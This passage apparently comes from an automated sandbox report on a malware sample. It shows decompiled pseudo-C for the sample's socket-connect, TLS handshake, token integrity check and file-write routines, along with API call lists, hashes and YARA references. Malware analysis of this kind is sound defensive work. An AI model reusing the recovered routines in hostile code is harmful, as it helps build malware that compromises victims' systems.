							L00406A24();
							if(_t220 == 1) {
								_v144 = 0;
								_push( &_v144);
								_push(0x8004667e);
								_push(_v28);
								L00406A18();
								_v156 = 1;
								_v152 = 0xea60;
								_v148 = 0x2710;
								_push(0);
								_push(0);
								_push( &_v160);
								_push(0);
								_push(0);
								_push(0xc);
								_push( &_v156);
								_push(0x98000004);
								_push(_v28);
								L00406A4E();
								_v48 = 0;
							}
						}
						goto L14;
					}
					_v88 =  *((intOrPtr*)(_t241 + 8));
					_v90 =  *((intOrPtr*)(_t241 + 0xc));
					goto L8;
				}
				_v90 =  *((intOrPtr*)(0 + _t241 + 9));
				 *((char*)(0 + _t241 + 9)) = 0;
				_t229 = E004060DF(_t246, _t241 + 9, 2);
				if(_t229 == 0) {
					goto L14;
				} else {
					_v88 = _t229;
					goto L8;
				}
			}

0x004047d1
0x004047d6
0x004047e6
0x004047f8
0x0040480a
0x0040481c
0x0040482e
0x00404840
0x00404852
0x00404864
0x00404876
0x00404888
0x0040489a
0x0040489f
0x004048a2
0x004048a8
0x004048ad
0x004048b0
0x004048b3
0x004048b9
0x004048bd
0x004048c1
0x004048c5
0x004048c9
0x004048cd
0x004048d1
0x004048d5
0x004048d9
0x004048dd
0x004048e1
0x004048e7
0x004048eb
0x00404918
0x0040491c
0x0040492e
0x00404932
0x00404a45
0x00404a45
0x00404a48
0x00404a5c
0x00404a6d
0x00404a94
0x00404aa6
0x00404ab7
0x00404ac0
0x00404b7a
0x00404b7a
0x00404b84
0x00404b89
0x00404b9c
0x00404bc1
0x00404bca
0x00404bd2
0x00404be2
0x00404be2
0x00404ac6
0x00404ac9
0x00404ac9
0x00404b70
0x00404ade
0x00404ae6
0x00404ae7
0x00404ae9
0x00404aeb
0x00404af1
0x00404af2
0x00404af4
0x00404af9
0x00404afb
0x00000000
0x00000000
0x00404afd
0x00000000
0x00000000
0x00404aff
0x00404b01
0x00404b06
0x00404b09
0x00404b0a
0x00404b0d
0x00404b12
0x00404b12
0x00404b14
0x00404b1b
0x00000000
0x00404b1b
0x00404b16
0x00404b19
0x00404b1f
0x00404b26
0x00404b36
0x00404b47
0x00404b6b
0x00000000
0x00404b6b
0x00000000
0x00404b19
0x00000000
0x00404b70
0x00404ac9
0x00404934
0x0040493a
0x00404941
0x0040494c
0x0040495a
0x00404966
0x00404966
0x00404970
0x00404976
0x00404977
0x0040497c
0x0040497f
0x00404986
0x00404990
0x004049a2
0x004049a7
0x004049a8
0x004049ab
0x00404992
0x00404992
0x00404997
0x00404998
0x0040499b
0x0040499b
0x004049c0
0x004049c8
0x004049c9
0x004049cb
0x004049d1
0x004049d2
0x004049d4
0x004049d6
0x004049de
0x004049e0
0x004049f0
0x004049f1
0x004049f6
0x004049f9
0x004049fe
0x00404a08
0x00404a12
0x00404a1c
0x00404a1e
0x00404a26
0x00404a27
0x00404a29
0x00404a2b
0x00404a33
0x00404a34
0x00404a39
0x00404a3c
0x00404a41
0x00404a41
0x004049de
0x00000000
0x00404986
0x00404921
0x00404928
0x00000000
0x00404928
0x004048f7
0x004048fb
0x00404906
0x0040490d
0x00000000
0x00404913
0x00404913
0x00000000
0x00404913

APIs

ioctlsocket.WSOCK32(?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?,?,00000004,?), ref: 0040497F
connect.WSOCK32(?,00000002,00000010,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 0040499B
connect.WSOCK32(?,00000017,0000001C,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 004049AB
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C,?,8004667E,00000001), ref: 004049D6
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C), ref: 004049F9
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00404A3C

Part of subcall function 004060DF: getaddrinfo.WS2_32(?,00000000,?,?), ref: 00406127

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,00408089,00000032,00000005,0000000A,00408089,00000032), ref: 00404AF4
recv.WSOCK32(?,?,0000FFFA,00000000,00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,00408089,00000032), ref: 00404B0D

Strings

`, xrefs: 00404A08

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: connectioctlsocketselect$Ioctlgetaddrinforecv
String ID: `
API String ID: 3309496413-1850852036
Opcode ID: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction ID: 52abffb7202e3db3154f0e760f5a902c96039ff1b5ad81b7fdbe1a3602f91b5b
Opcode Fuzzy Hash: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction Fuzzy Hash: 21D160B1940208BAEF11EBE0CC41FEEBBB8AF04304F04846AF755B61D1D7796A54CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00864A0A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 333networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,8004667E,00000001), ref: 00864BCF
connect.WS2_32(?,00000002,00000010), ref: 00864BEB
connect.WS2_32(?,00000017,0000001C), ref: 00864BFB
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00864C26
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 00864C49
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00864C8C
select.WS2_32(00000000,?,00000000,00000000,?), ref: 00864D44

Strings

`, xrefs: 00864C58

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctl
String ID: `
API String ID: 2054606664-1850852036
Opcode ID: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction ID: b7468314551d86866480dc9a606793b8a86f3288089a7d36fc03ca841d8d53e1
Opcode Fuzzy Hash: 94832fd69148f78f34e3d37fb0042133a3bdae02baaadc7e367c89caf433b50a
Instruction Fuzzy Hash: 41D12C71900248BAEB21EBD4CC42FEEBBBCFF08700F114455F655E6191DB71AA58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004027BB Relevance: 13.6, APIs: 9, Instructions: 103
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E004027BB(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v300;
				char _v304;
				char _v308;
				char _t34;
				char* _t44;
				short _t46;
				char* _t52;
				void* _t57;
				void* _t58;

				_t58 = __eflags;
				_t34 = E00406259( &_v308,  &_v16 - _t57);
				_push(6);
				_push(1);
				_push(2);
				L00406A3C();
				_v8 = _t34;
				E004061D2( &_v8, _a4, 4);
				_v304 = 1;
				_push(4);
				_push( &_v304);
				_push(1);
				_push(6);
				_push(_v8);
				L00406A30();
				E00406270(_a8, 0xffffffff,  &_v300);
				if(E0040616B(_t58,  &_v300) == 0) {
					_t44 = E004060DF(__eflags,  &_v300, 2);
					_push(_t44);
					L00406A12();
				} else {
					_t44 =  &_v300;
				}
				_push(_t44);
				L00406A0C();
				if(_t44 != 0) {
					_v40 = _t44;
					_t46 = _a12;
					if(_t46 > 0x10000) {
						_t46 = E004061EA(_t46);
					}
					_push(_t46);
					L00406A06();
					_v42 = _t46;
					_v44 = 2;
					_v304 = 1;
					_push( &_v304);
					_push(0x8004667e);
					_push(_v8);
					L00406A18();
					_push(0x10);
					_push( &_v44);
					_push(_v8);
					L00406A00();
					E0040621F(_v8, 0,  &_v28, _a16, 0);
					_push( &_v16);
					_push(0);
					_t52 =  &_v28;
					_push(_t52);
					_push(0);
					_push(0);
					L00406A24();
					if(_t52 == 1) {
						_v304 = 0;
						_push( &_v304);
						_push(0x8004667e);
						_push(_v8);
						L00406A18();
						_v308 = 1;
					}
				}
				return _v308;
			}

0x004027bb
0x004027d2
0x004027d7
0x004027d9
0x004027db
0x004027dd
0x004027e2
0x004027ee
0x004027f3
0x004027fd
0x00402805
0x00402806
0x00402808
0x0040280a
0x0040280d
0x0040281e
0x00402831
0x00402844
0x00402849
0x0040284a
0x00402833
0x00402833
0x00402833
0x0040284f
0x00402850
0x00402857
0x0040285d
0x00402860
0x00402868
0x0040286b
0x0040286b
0x00402870
0x00402871
0x00402876
0x0040287a
0x00402880
0x00402890
0x00402891
0x00402896
0x00402899
0x0040289e
0x004028a3
0x004028a4
0x004028a7
0x004028ba
0x004028c2
0x004028c3
0x004028c5
0x004028c8
0x004028c9
0x004028cb
0x004028cd
0x004028d5
0x004028d7
0x004028e7
0x004028e8
0x004028ed
0x004028f0
0x004028f5
0x004028f5
0x004028d5
0x00402909

APIs

socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027DD
setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 0040280D
inet_ntoa.WSOCK32(00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004,00000002), ref: 0040284A
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 00402850
htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 00402871
ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402899
connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A7
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028CD
ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028F0

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: ioctlsocket$connecthtonsinet_addrinet_ntoaselectsetsockoptsocket
String ID:
API String ID: 983927830-0
Opcode ID: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction ID: 3684afdf3ba0f9d3604e98d501ce8b12cc9c4396e628bfde8df08e9a0f24d3c6
Opcode Fuzzy Hash: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction Fuzzy Hash: 0D313E71A00218BADF10FBA1CD46FDE777DAB05318F0140AAF605B60D1D7B99A649F68

Uniqueness

Uniqueness Score: -1.00%

Function 00402D52 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 213
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00402D52(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v12;
				char _v16;
				long _v60;
				char _v64;
				intOrPtr _v108;
				void** _v112;
				intOrPtr _v116;
				void* _v120;
				void* _v124;
				intOrPtr _v128;
				void* _v132;
				char* _v136;
				intOrPtr _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				char _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				void* _v176;
				void* _v180;
				void* _v188;
				long* _t102;
				void* _t113;
				void* _t117;
				void** _t131;
				void* _t146;

				E00406259( &_v188,  &_v16 - _t146);
				E00406259(_a12, 8);
				E00406259(_a16, 8);
				_v60 = 4;
				_v12 = 0x18;
				_push(0);
				_push(_a16);
				_push(0);
				_push(0);
				_t102 =  &_v60;
				_push(_t102);
				_push(0);
				_push(2);
				_push("Microsoft Unified Security Protocol Provider");
				_push(0);
				L00406A72();
				_t148 = _t102;
				if(_t102 != 0 || E004027BB(__edx, _t148,  &_v64, _a4, _a8, 0xa) == 0) {
					L28:
					__eflags = 0;
					return 0;
				} else {
					E004061D2( &_v64, _a20, 4);
					_v108 = 0xc11c;
					_v132 = 0;
					_v128 = 2;
					_v124 = 0;
					_v120 = 0;
					_v116 = 1;
					_v112 =  &_v132;
					_push(0);
					_push( &_v172);
					_push( &_v120);
					_push(_a12);
					_push(0);
					_push(0);
					_push(0x10);
					_push(0);
					_push(_v108);
					_push(_a4);
					_push(0);
					_push(_a16);
					L00406AA8();
					if(_v132 == 0 || _v124 == 0) {
						goto L28;
					} else {
						E00405E81(_v64, _v124, _v132, 0);
						_push(_v124);
						L00406A8A();
						_t113 = VirtualAlloc(0, 0x8000, 0x3000, 4);
						if(_t113 == 0) {
							goto L28;
						}
						_v176 = _t113;
						_v188 = 0x90312;
						_v180 = 0;
						while(_v188 == 0x90312 || _v188 == 0x80090318 || _v188 == 0x90320) {
							__eflags = _v180;
							if(__eflags == 0) {
								L8:
								_t117 = E00405F54(__eflags, _v64, _v176 + _v180, 0x8000 - _v180, 0xa);
								__eflags = _t117;
								if(_t117 == 0) {
									break;
								}
								__eflags = _t117;
								if(_t117 < 0) {
									break;
								}
								_t43 =  &_v180;
								 *_t43 = _v180 + _t117;
								__eflags =  *_t43;
								L11:
								_v132 = 0;
								_v128 = 2;
								_v124 = 0;
								_v120 = 0;
								_v116 = 1;
								_v112 =  &_v132;
								E004061D2( &_v180,  &_v168, 4);
								_v164 = 2;
								E004061D2( &_v176,  &_v160, 4);
								_v156 = 0;
								_v152 = 0;
								_v148 = 0;
								_v144 = 0;
								_v140 = 2;
								_v136 =  &_v168;
								_push(0);
								_push( &_v172);
								_push( &_v120);
								_push(0);
								_push(0);
								_t131 =  &_v144;
								_push(_t131);
								_push(0x10);
								_push(0);
								_push(_v108);
								_push(0);
								_push(_a12);
								_push(_a16);
								L00406AA8();
								_v188 = _t131;
								__eflags = _v188 - 0x80090318;
								if(_v188 == 0x80090318) {
									continue;
								}
								__eflags = _v188;
								if(_v188 < 0) {
									break;
								}
								__eflags = _v188;
								if(_v188 == 0) {
									L17:
									E00405E81(_v64, _v124, _v132, 0);
									_push(_v124);
									L00406A8A();
									L18:
									__eflags = _v188 - 0x90320;
									if(_v188 != 0x90320) {
										__eflags = _v152 - 5;
										if(_v152 != 5) {
											_v180 = 0;
										} else {
											E004061D2( &_v156,  &_v180, 4);
											E004061D2(_v176 + _v180 - _v156, _v176, _v156);
											_v188 = 0x90312;
										}
										continue;
									}
									break;
								}
								__eflags = _v188 - 0x90312;
								if(_v188 != 0x90312) {
									goto L18;
								}
								__eflags = _v132;
								if(_v132 == 0) {
									goto L18;
								}
								__eflags = _v124;
								if(_v124 == 0) {
									goto L18;
								}
								goto L17;
							}
							__eflags = _v188 - 0x80090318;
							if(__eflags != 0) {
								goto L11;
							}
							goto L8;
						}
						E00404681( &_v176);
						if(_v188 != 0) {
							goto L28;
						}
						return _v64;
					}
				}
			}

0x00402d69
0x00402d73
0x00402d7d
0x00402d82
0x00402d89
0x00402d90
0x00402d92
0x00402d95
0x00402d97
0x00402d99
0x00402d9c
0x00402d9d
0x00402d9f
0x00402da1
0x00402da6
0x00402da8
0x00402dad
0x00402daf
0x004030c1
0x004030c1
0x00000000
0x00402dce
0x00402dd7
0x00402ddc
0x00402de3
0x00402dea
0x00402df1
0x00402df8
0x00402dff
0x00402e09
0x00402e0c
0x00402e14
0x00402e18
0x00402e19
0x00402e1c
0x00402e1e
0x00402e20
0x00402e22
0x00402e24
0x00402e27
0x00402e2a
0x00402e2c
0x00402e2f
0x00402e38
0x00000000
0x00402e48
0x00402e53
0x00402e58
0x00402e5b
0x00402e6e
0x00402e75
0x00000000
0x00000000
0x00402e7b
0x00402e81
0x00402e8b
0x00403077
0x00402e9a
0x00402ea1
0x00402eaf
0x00402ed2
0x00402ed2
0x00402ed4
0x00000000
0x00000000
0x00402eda
0x00402edd
0x00000000
0x00000000
0x00402ee3
0x00402ee3
0x00402ee3
0x00402ee9
0x00402ee9
0x00402ef0
0x00402ef7
0x00402efe
0x00402f05
0x00402f0f
0x00402f22
0x00402f27
0x00402f41
0x00402f46
0x00402f50
0x00402f5a
0x00402f64
0x00402f6e
0x00402f7e
0x00402f84
0x00402f8c
0x00402f90
0x00402f91
0x00402f93
0x00402f95
0x00402f9b
0x00402f9c
0x00402f9e
0x00402fa0
0x00402fa3
0x00402fa5
0x00402fa8
0x00402fab
0x00402fb0
0x00402fb6
0x00402fc0
0x00000000
0x00000000
0x00402fc6
0x00402fcd
0x00000000
0x00000000
0x00402fd3
0x00402fda
0x00402ff4
0x00402fff
0x00403004
0x00403007
0x0040300c
0x0040300c
0x00403016
0x0040301d
0x00403024
0x0040306d
0x00403026
0x0040303c
0x0040305c
0x00403061
0x00403061
0x00000000
0x00403024
0x00000000
0x00403018
0x00402fdc
0x00402fe6
0x00000000
0x00000000
0x00402fe8
0x00402fec
0x00000000
0x00000000
0x00402fee
0x00402ff2
0x00000000
0x00000000
0x00000000
0x00402ff2
0x00402ea3
0x00402ead
0x00000000
0x00000000
0x00000000
0x00402ead
0x004030ae
0x004030ba
0x00000000
0x00000000
0x00000000
0x004030bc
0x00402e38

APIs

AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,00408566), ref: 00402DA8

Part of subcall function 004027BB: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027DD
Part of subcall function 004027BB: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 0040280D
Part of subcall function 004027BB: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 00402850
Part of subcall function 004027BB: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 00402871
Part of subcall function 004027BB: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402899
Part of subcall function 004027BB: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A7
Part of subcall function 004027BB: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028CD
Part of subcall function 004027BB: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028F0

InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 00402E2F

Part of subcall function 00405E81: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00405E9C
Part of subcall function 00405E81: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00405EF9

FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 00402E5B
VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 00402E6E
InitializeSecurityContextA.SECUR32(?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?,00000000,?,?,00000004,?), ref: 00402FAB
FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?), ref: 00403007

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00402DA1

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Context$BufferFreeInitializeSecurityioctlsocket$AcquireAllocCredentialsEventHandleObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocket
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1399349435-238809041
Opcode ID: b57b27c6c8e695522797e75fc7b0b6995ce7901d83bb3699e4cc12d30d2fc88b
Instruction ID: e99e4db1ca5d6ea21ef0783d4aa013bcaf674f9bf730a44bb7352d5b65d7dfdb
Opcode Fuzzy Hash: b57b27c6c8e695522797e75fc7b0b6995ce7901d83bb3699e4cc12d30d2fc88b
Instruction Fuzzy Hash: 98911A7190431CAEEF609F90CC45BDEBB79BB04709F1040AAE608B61D1CBB95A98DF56

Uniqueness

Uniqueness Score: -1.00%

Function 00862A0B Relevance: 9.1, APIs: 6, Instructions: 103networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00862AA0
htons.WS2_32(00000000), ref: 00862AC1
ioctlsocket.WS2_32(?,8004667E,?), ref: 00862AE9
connect.WS2_32(?,?,00000010), ref: 00862AF7
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00862B1D
ioctlsocket.WS2_32(?,8004667E,?), ref: 00862B40

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrselect
String ID:
API String ID: 2081129316-0
Opcode ID: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction ID: 4ff681899452161237ed9d6532d01fc8a58b4e3a6ce4cf9306985cb7814424c9
Opcode Fuzzy Hash: 44921d093b30c8dd2eefc5652d1f45c3759f6bc25d4c3193b64fbe321687dc0d
Instruction Fuzzy Hash: 77311971900258BADF20EBA4CD42FDEB77DFB08314F114095F644F6091EBB59AA48B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00865FB8 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAuthorityCloseHandleInformationToken
String ID:
API String ID: 1586583212-0
Opcode ID: 1707c921a7e8f55a14e19b09de659ca5eafb33d8be1dd96373c3de5dc21e3e34
Instruction ID: 82d6e86566a3fecccc4fbb941be364e85f122c77205a533b9c50afac122a62a4
Opcode Fuzzy Hash: 1707c921a7e8f55a14e19b09de659ca5eafb33d8be1dd96373c3de5dc21e3e34
Instruction Fuzzy Hash: 6911F971D0014AFADF11ABE8CD42FEEBB79FF44314F158965B210F5091EB714A24ABA2

Uniqueness

Uniqueness Score: -1.00%

Function 00865609 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241timeCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0086563D

Part of subcall function 00865FB8: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
Part of subcall function 00865FB8: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
Part of subcall function 00865FB8: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
Part of subcall function 00865FB8: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
Part of subcall function 00865FB8: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
Part of subcall function 00865FB8: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

GetLocalTime.KERNEL32(?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 008657D2
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 008657E5
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,0086534E,?,00000014,?,00000000,00000001,00000000,00000018), ref: 00865816

Strings

0, xrefs: 00865846

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Time$Local$FileFreeSystem$AllocAuthorityCloseHandleInformationInitializeToken
String ID: 0
API String ID: 1744783010-4108050209
Opcode ID: a1c780bd0feac9ba66404310acbc0efb7393dd46e94ea136f93f2a61d3938f50
Instruction ID: 8f794fdd4a27580df6310987cf754b762330f083c0f6b2d8520accb3c5e278bb
Opcode Fuzzy Hash: a1c780bd0feac9ba66404310acbc0efb7393dd46e94ea136f93f2a61d3938f50
Instruction Fuzzy Hash: 62A1E4B5900618AFDB20DB94CC85FDAB3BCFF48304F1140E6E608E7251DA75AA85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040662B Relevance: 7.5, APIs: 5, Instructions: 41
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040662B(CHAR* _a4, void* _a8, long _a12, long _a16, long _a20) {
				void* _v8;
				long _v12;
				long _t12;

				while(1) {
					_t12 = CreateFileA(_a4, 0x40000000, 0, 0, _a16, 0x80, 0);
					_v8 = _t12;
					if(_t12 >= 0) {
						break;
					}
					_t12 = GetLastError();
					if(_t12 == 0x20) {
						continue;
					}
					break;
				}
				if(_v8 != 0xffffffff) {
					SetFilePointer(_v8, 0, 0, _a20);
					WriteFile(_v8, _a8, _a12,  &_v12, 0);
					return CloseHandle(_v8);
				}
				return _t12;
			}

0x00406634
0x0040664a
0x0040664f
0x00406654
0x00000000
0x00000000
0x00406656
0x0040665e
0x00000000
0x00000000
0x00000000
0x0040665e
0x00406664
0x00406670
0x00406684
0x00000000
0x0040668c
0x00406695

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 0040664A
GetLastError.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00406656
SetFilePointer.KERNEL32(?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00406670
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000), ref: 00406684
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 0040668C

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastPointerWrite
String ID:
API String ID: 170361235-0
Opcode ID: ed6e4e1e1849b2234484429e952ad4fb7924ed1f5909b9f2c715645d0b514ea0
Instruction ID: 1f6614cf9055a7bc591be3da9d938b2c9dc0f17c8a3350fe06385555e5e49346
Opcode Fuzzy Hash: ed6e4e1e1849b2234484429e952ad4fb7924ed1f5909b9f2c715645d0b514ea0
Instruction Fuzzy Hash: 7BF06871540209BADF215F99CD03FDE7A799F00718F214136F615B40E1DB769A31A75C

Uniqueness

Uniqueness Score: -1.00%

Function 00402BA7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402BA7(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				char _v1052;
				char _v1056;
				long _v1060;
				char _v1068;
				char _v1076;
				char _v1080;
				void* _t50;
				void* _t60;
				char* _t72;
				void* _t75;
				long _t82;
				char _t86;
				intOrPtr* _t87;
				void* _t88;
				void* _t90;

				_t90 = __eflags;
